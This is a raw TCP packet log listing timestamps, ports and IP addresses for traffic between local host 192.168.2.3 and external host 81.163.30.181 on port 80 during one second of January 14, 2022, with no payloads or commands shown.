Jan 14, 2022 20:24:08.508856058 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.508886099 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.508907080 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.508915901 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.508935928 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.508949041 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.508955956 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.508965969 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.508979082 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.508995056 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.509013891 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.509021997 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.509038925 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.509056091 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.509095907 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.509145021 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.566369057 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566402912 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566446066 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566454887 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.566473961 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566504002 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566508055 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.566540003 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566548109 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.566591978 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566642046 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566648006 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.566668034 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566688061 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566715002 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566735983 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566741943 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.566756964 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566761971 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.566778898 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566801071 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566807032 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.566821098 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566842079 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566858053 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566870928 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.566879034 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566879988 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.566901922 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566921949 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566934109 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.566942930 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566965103 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.566968918 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.566986084 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.567013979 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.623620033 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.623672962 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.623696089 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.623701096 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.623745918 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.623747110 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.623800039 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.623848915 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.623861074 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.623898983 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.623945951 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.623956919 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.623982906 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624027967 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624051094 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624062061 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624099970 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624104977 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624141932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624181986 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624186039 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624211073 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624237061 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624248028 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624258041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624279976 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624296904 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624300957 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624322891 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624335051 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624342918 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624365091 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624382973 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624386072 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624406099 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624423981 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624427080 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624448061 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624461889 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624468088 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624490976 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624505043 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624512911 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624532938 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624548912 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624555111 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624577045 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624589920 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624598980 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624619007 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624636889 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624639988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624661922 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624675035 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624682903 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624702930 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624721050 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624726057 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624747992 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624766111 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624768019 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624789953 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624808073 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624810934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624833107 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624854088 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624864101 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624875069 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624892950 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.624896049 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624917984 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.624932051 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682121038 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682145119 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682168007 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682168007 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682197094 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682219982 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682254076 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682276964 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682301044 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682302952 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682326078 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682342052 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682351112 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682379007 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682414055 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682435036 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682456970 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682481050 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682480097 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682503939 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682528019 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682548046 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682553053 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682574987 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682610989 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682634115 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682652950 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682657003 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682681084 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682703972 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682720900 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682729959 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682749987 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682754040 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682779074 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682797909 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682801962 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682826042 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682847977 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682849884 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682876110 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682898998 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682898045 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682924032 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682945967 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682951927 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682971001 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.682984114 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.682996988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683018923 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683043003 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683043003 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.683067083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683090925 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683089972 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.683116913 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683140039 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683139086 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.683166027 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683190107 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683191061 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.683212996 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683234930 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.683237076 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683260918 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683284044 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683290005 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.683306932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683320045 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.683331013 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683355093 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683376074 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.683378935 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683402061 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683424950 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683430910 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.683448076 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683461905 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.683474064 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683499098 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683521986 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683521032 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.683562994 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683563948 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.683588028 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.683628082 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.705950022 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.741343975 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741394043 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741431952 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.741444111 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741491079 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741525888 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.741543055 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741592884 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741631985 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.741640091 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741691113 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741729021 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.741734982 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741782904 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741826057 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.741827011 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741863012 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741888046 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741904974 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.741909981 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741933107 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741949081 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.741955042 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741976976 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.741993904 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742000103 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742021084 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742042065 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742043018 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742065907 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742084980 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742088079 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742110968 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742129087 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742132902 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742155075 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742173910 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742176056 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742197990 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742217064 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742221117 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742243052 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742260933 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742265940 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742288113 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742301941 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742309093 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742331982 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742347956 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742352009 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742373943 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742392063 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742396116 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742418051 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742436886 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742439032 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742468119 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742489100 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742490053 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742511988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742532015 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742535114 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742558956 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742572069 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742583036 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742604971 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742619038 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742629051 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742650032 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742666960 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742672920 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742697001 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742717981 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742717981 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742741108 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742759943 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742763996 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742785931 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742801905 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742809057 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742831945 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742851973 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742855072 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742877007 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742897987 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742898941 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.742922068 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.742940903 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.743629932 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.803674936 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.803713083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.803740025 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.803755045 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.803796053 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.803812981 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.803833961 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.803874016 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.803886890 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.803914070 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.803966999 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.803987026 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.804024935 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.804064989 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.804076910 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.804104090 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.804143906 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.804157019 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.804184914 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.804224014 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.804235935 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.804263115 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.804316044 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.804889917 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.804929018 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.804980040 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.805002928 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805049896 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805097103 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.805113077 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805170059 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805222988 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.805231094 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805272102 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805310011 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805341005 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805370092 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805402040 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:08.805417061 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:08.805442095 CET	80	49907	81.163.30.181	192.168.2.3
